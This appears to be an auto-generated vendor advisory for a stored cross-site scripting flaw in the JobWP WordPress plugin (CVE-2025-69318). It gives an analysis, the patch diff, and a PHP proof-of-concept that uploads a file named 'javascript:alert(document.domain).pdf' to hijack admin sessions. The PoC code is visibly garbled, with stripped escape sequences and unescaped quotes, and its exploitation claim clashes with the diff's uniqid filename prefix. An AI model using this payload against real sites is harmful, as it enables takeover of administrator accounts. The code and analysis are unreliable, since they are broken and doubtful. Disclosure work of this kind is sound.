Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69318: JobWP <= 2.4.5 – Unauthenticated Stored Cross-Site Scripting (jobwp)

Plugin jobwp
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.4.5
Patched Version 2.4.6
Disclosed January 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69318:
The JobWP WordPress plugin version 2.4.5 and earlier contains a stored cross-site scripting (XSS) vulnerability. The flaw exists in the plugin’s job application resume file upload functionality. Unauthenticated attackers can inject arbitrary JavaScript payloads that execute in the context of an administrator’s session when viewing the application list page. The CVSS score of 7.2 reflects the high impact of stored XSS in a WordPress admin context.

The root cause is insufficient input sanitization for the resume file name parameter during the job application submission process. In the vulnerable code at `jobwp/core/job_application.php` line 22, the plugin directly concatenates `$_FILES[‘jobwp_upload_resume’][‘name’]` with a unique identifier without proper sanitization. The user-controlled filename is then stored in the database and later rendered unsafely in the admin panel at `jobwp/admin/view/application_list.php` line 62-65, where the filename is output without proper escaping in an HTML anchor tag’s href attribute.

Exploitation occurs through the public job application submission form. Attackers craft a malicious filename containing JavaScript payloads, such as `javascript:alert(document.cookie).pdf` or similar XSS vectors. When an administrator views the application list page at `/wp-admin/admin.php?page=jobwp-applications`, the malicious filename is rendered directly into the page’s HTML. The payload executes immediately in the administrator’s browser context, allowing session hijacking, administrative actions, or further site compromise.

The patch addresses the vulnerability at two points. First, in `jobwp/core/job_application.php`, the filename is sanitized using `sanitize_file_name()` before storage. Second, in `jobwp/admin/view/application_list.php`, the output is properly escaped using `esc_url()` when generating the download link. These changes ensure that user input is both sanitized before storage and escaped before output, following WordPress security best practices for defense in depth.

Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in WordPress administrator sessions. This can lead to complete site takeover through administrative credential theft, plugin/theme installation, content modification, or backdoor creation. The stored nature means the payload persists and executes for every administrator viewing the application list, increasing the attack’s effectiveness and persistence.

Differential between vulnerable and patched code

Code Diff
--- a/jobwp/admin/view/application_list.php
+++ b/jobwp/admin/view/application_list.php
@@ -62,7 +62,7 @@
         esc_html_e( $application->applicant_message );
         ?></td>
                     <td><a href="<?php
-        printf( '%s/%s', $jobwpDir, $application->resume_name );
+        echo esc_url( $jobwpDir . '/' . $application->resume_name );
         ?>"><?php
         esc_html_e( $application->resume_name );
         ?></a></td>
--- a/jobwp/core/job_application.php
+++ b/jobwp/core/job_application.php
@@ -22,7 +22,7 @@
                     } else {
                         $jobwpDir = wp_upload_dir();
                         $jobwpDir = $jobwpDir['basedir'];
-                        $uniqueFile = uniqid() . '-' . $_FILES['jobwp_upload_resume']['name'];
+                        $uniqueFile = uniqid() . '-' . sanitize_file_name( $_FILES['jobwp_upload_resume']['name'] );
                         $fileName = $jobwpDir . '/jobwp-resume/' . $uniqueFile;
                         if ( !is_writable( $jobwpDir . '/jobwp-resume' ) ) {
                             return __( 'The folder', 'jobwp' ) . ' ' . $jobwpDir . '/jobwp-resume ' . __( 'cannot be created or is not writable. Ask for support to your hosting provider', 'jobwp' ) . '.';
--- a/jobwp/freemius/includes/class-freemius.php
+++ b/jobwp/freemius/includes/class-freemius.php
@@ -14034,6 +14034,10 @@
                 $result['next_page'] = $next_page;
             }

+            if ( $result['success'] ) {
+                $this->do_action( 'after_license_activation' );
+            }
+
             return $result;
         }

@@ -21667,6 +21671,8 @@
                 return;
             }

+            $this->do_action( 'after_license_activation' );
+
             $premium_license = new FS_Plugin_License( $license );

             // Updated site plan.
@@ -21746,6 +21752,8 @@
                     'error'
                 );

+                $this->do_action( 'after_license_deactivation', $license );
+
                 return;
             }

@@ -21766,6 +21774,8 @@

             $this->_store_account();

+            $this->do_action( 'after_license_deactivation', $license );
+
             if ( $show_notice ) {
                 $this->_admin_notices->add(
                     sprintf( $this->is_only_premium() ?
--- a/jobwp/freemius/includes/entities/class-fs-payment.php
+++ b/jobwp/freemius/includes/entities/class-fs-payment.php
@@ -132,10 +132,11 @@
          */
         function formatted_gross()
         {
+            $price = $this->gross + $this->vat;
             return (
-                ( $this->gross < 0 ? '-' : '' ) .
+                ( $price < 0 ? '-' : '' ) .
                 $this->get_symbol() .
-                number_format( abs( $this->gross ), 2, '.', ',' ) . ' ' .
+                number_format( abs( $price ), 2, '.', ',' ) . ' ' .
                 strtoupper( $this->currency )
             );
         }
--- a/jobwp/freemius/includes/entities/class-fs-site.php
+++ b/jobwp/freemius/includes/entities/class-fs-site.php
@@ -202,7 +202,7 @@
                 // Vendasta
                 ( fs_ends_with( $subdomain, '.websitepro-staging.com' ) || fs_ends_with( $subdomain, '.websitepro.hosting' ) ) ||
                 // InstaWP
-                fs_ends_with( $subdomain, '.instawp.xyz' ) ||
+                ( fs_ends_with( $subdomain, '.instawp.co' ) || fs_ends_with( $subdomain, '.instawp.link' ) || fs_ends_with( $subdomain, '.instawp.xyz' ) ) ||
                 // 10Web Hosting
                 ( fs_ends_with( $subdomain, '-dev.10web.site' ) || fs_ends_with( $subdomain, '-dev.10web.cloud' ) )
             );
@@ -220,6 +220,8 @@
             // Services aimed at providing a WordPress sandbox environment.
             $sandbox_wp_environment_domains = array(
                 // InstaWP
+                'instawp.co',
+                'instawp.link',
                 'instawp.xyz',

                 // TasteWP
--- a/jobwp/freemius/includes/managers/class-fs-checkout-manager.php
+++ b/jobwp/freemius/includes/managers/class-fs-checkout-manager.php
@@ -12,7 +12,36 @@

 	class FS_Checkout_Manager {

-		# region Singleton
+        /**
+         * Allowlist of query parameters for checkout.
+         */
+        private $_allowed_custom_params = array(
+            // currency
+            'currency'                      => true,
+            'default_currency'              => true,
+            // cart
+            'always_show_renewals_amount'   => true,
+            'annual_discount'               => true,
+            'billing_cycle'                 => true,
+            'billing_cycle_selector'        => true,
+            'bundle_discount'               => true,
+            'maximize_discounts'            => true,
+            'multisite_discount'            => true,
+            'show_inline_currency_selector' => true,
+            'show_monthly'                  => true,
+            // appearance
+            'form_position'                 => true,
+            'is_bundle_collapsed'           => true,
+            'layout'                        => true,
+            'refund_policy_position'        => true,
+            'show_refund_badge'             => true,
+            'show_reviews'                  => true,
+            'show_upsells'                  => true,
+            'title'                         => true,
+        );
+
+
+        # region Singleton

 		/**
 		 * @var FS_Checkout_Manager
@@ -153,7 +182,12 @@
 				( $fs->is_theme() && current_user_can( 'install_themes' ) )
 			);

-			return array_merge( $context_params, $_GET, array(
+            $filtered_params = $fs->apply_filters('checkout/parameters', $context_params);
+
+            // Allowlist only allowed query params.
+            $filtered_params = array_intersect_key($filtered_params, $this->_allowed_custom_params);
+
+            return array_merge( $context_params, $filtered_params, $_GET, array(
 				// Current plugin version.
 				'plugin_version' => $fs->get_plugin_version(),
 				'sdk_version'    => WP_FS__SDK_VERSION,
@@ -239,4 +273,4 @@
 		private function get_checkout_redirect_nonce_action( Freemius $fs ) {
 			return $fs->get_unique_affix() . '_checkout_redirect';
 		}
-	}
 No newline at end of file
+	}
--- a/jobwp/freemius/start.php
+++ b/jobwp/freemius/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.12.2';
+	$this_sdk_version = '2.13.0';

 	#region SDK Selection Logic --------------------------------------------------------------------

@@ -446,6 +446,7 @@
 	 *      fs_plugin_icon_{plugin_slug}
 	 *      fs_show_trial_{plugin_slug}
 	 *      fs_is_pricing_page_visible_{plugin_slug}
+	 *      fs_checkout/parameters_{plugin_slug}
 	 *
 	 * --------------------------------------------------------
 	 *
@@ -453,6 +454,8 @@
 	 *
 	 *      fs_after_license_loaded_{plugin_slug}
 	 *      fs_after_license_change_{plugin_slug}
+	 *      fs_after_license_activation_{plugin_slug}
+	 *      fs_after_license_deactivation_{plugin_slug}
 	 *      fs_after_plans_sync_{plugin_slug}
 	 *
 	 *      fs_after_account_details_{plugin_slug}
--- a/jobwp/jobwp.php
+++ b/jobwp/jobwp.php
@@ -4,12 +4,12 @@
  * Plugin Name:         JobWP
  * Plugin URI:		    https://wordpress.org/plugins/jobwp/
  * Description: 	    Display job listings in a career page and allow users to apply directly to your site.
- * Version:             2.4.5
+ * Version:             2.4.6
  * Author:		        HM Plugin
  * Author URI:	        https://hmplugin.com
  * Requires at least:   5.4
  * Requires PHP:        7.2
- * Tested up to:        6.8.3
+ * Tested up to:        6.9
  * Text Domain:         jobwp
  * Domain Path:         /languages/
  * License:             GPL-2.0+
@@ -28,7 +28,7 @@
         define( 'JOBWP_PRFX', 'jobwp_' );
         define( 'JOBWP_CLS_PRFX', 'cls-jobwp-' );
         define( 'JOBWP_TXT_DOMAIN', 'jobwp' );
-        define( 'JOBWP_VERSION', '2.4.5' );
+        define( 'JOBWP_VERSION', '2.4.6' );
         require_once JOBWP_PATH . '/lib/freemius-integrator.php';
         require_once JOBWP_PATH . 'inc/' . JOBWP_CLS_PRFX . 'master.php';
         $jobwp = new JobWp_Master();
--- a/jobwp/lib/freemius-integrator.php
+++ b/jobwp/lib/freemius-integrator.php
@@ -76,4 +76,5 @@
     }

     job_fs()->add_action( 'after_uninstall', 'job_fs_uninstall_cleanup' );
+    job_fs()->add_filter( 'pricing/show_annual_in_monthly', '__return_false' );
 }
 No newline at end of file

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69318 - JobWP <= 2.4.5 - Unauthenticated Stored Cross-Site Scripting

<?php

$target_url = 'http://vulnerable-site.com';

// Malicious filename with JavaScript payload
$malicious_filename = 'javascript:alert(document.domain).pdf';

// Create a temporary file with the malicious name
$temp_file = tempnam(sys_get_temp_dir(), 'jobwp');
$new_file = sys_get_temp_dir() . '/' . $malicious_filename;
rename($temp_file, $new_file);

// Prepare multipart form data
$post_fields = [
    'jobwp_applicant_name' => 'Test Attacker',
    'jobwp_applicant_email' => 'attacker@example.com',
    'jobwp_applicant_message' => 'XSS Test Application',
    'jobwp_job_id' => '1', // Target a valid job ID
    'jobwp_submit_application' => 'Submit Application'
];

$file_fields = [
    'jobwp_upload_resume' => [
        'name' => $malicious_filename,
        'type' => 'application/pdf',
        'tmp_name' => $new_file,
        'error' => 0,
        'size' => 100
    ]
];

// Find the application submission endpoint
// Typically this is the job listing page or a dedicated application endpoint
$ch = curl_init($target_url . '/?apply_job=1');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// For multipart file upload, we need to build the request manually
$boundary = '----WebKitFormBoundary' . md5(time());
$payload = '';

foreach ($post_fields as $name => $value) {
    $payload .= "--{$boundary}rn";
    $payload .= "Content-Disposition: form-data; name="{$name}"rnrn";
    $payload .= $value . "rn";
}

foreach ($file_fields as $name => $file) {
    $payload .= "--{$boundary}rn";
    $payload .= "Content-Disposition: form-data; name="{$name}"; filename="{$file['name']}"rn";
    $payload .= "Content-Type: {$file['type']}rnrn";
    $payload .= file_get_contents($file['tmp_name']) . "rn";
}

$payload .= "--{$boundary}--rn";

curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: multipart/form-data; boundary={$boundary}",
    "Content-Length: " . strlen($payload)
]);

curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

// Clean up temporary file
unlink($new_file);

if ($http_code == 200 || $http_code == 302) {
    echo "[+] Payload submitted successfully.n";
    echo "[+] When an administrator views the application list at {$target_url}/wp-admin/admin.php?page=jobwp-applicationsn";
    echo "[+] The JavaScript payload in the filename will execute in their browser context.n";
} else {
    echo "[-] Submission failed with HTTP code: {$http_code}n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School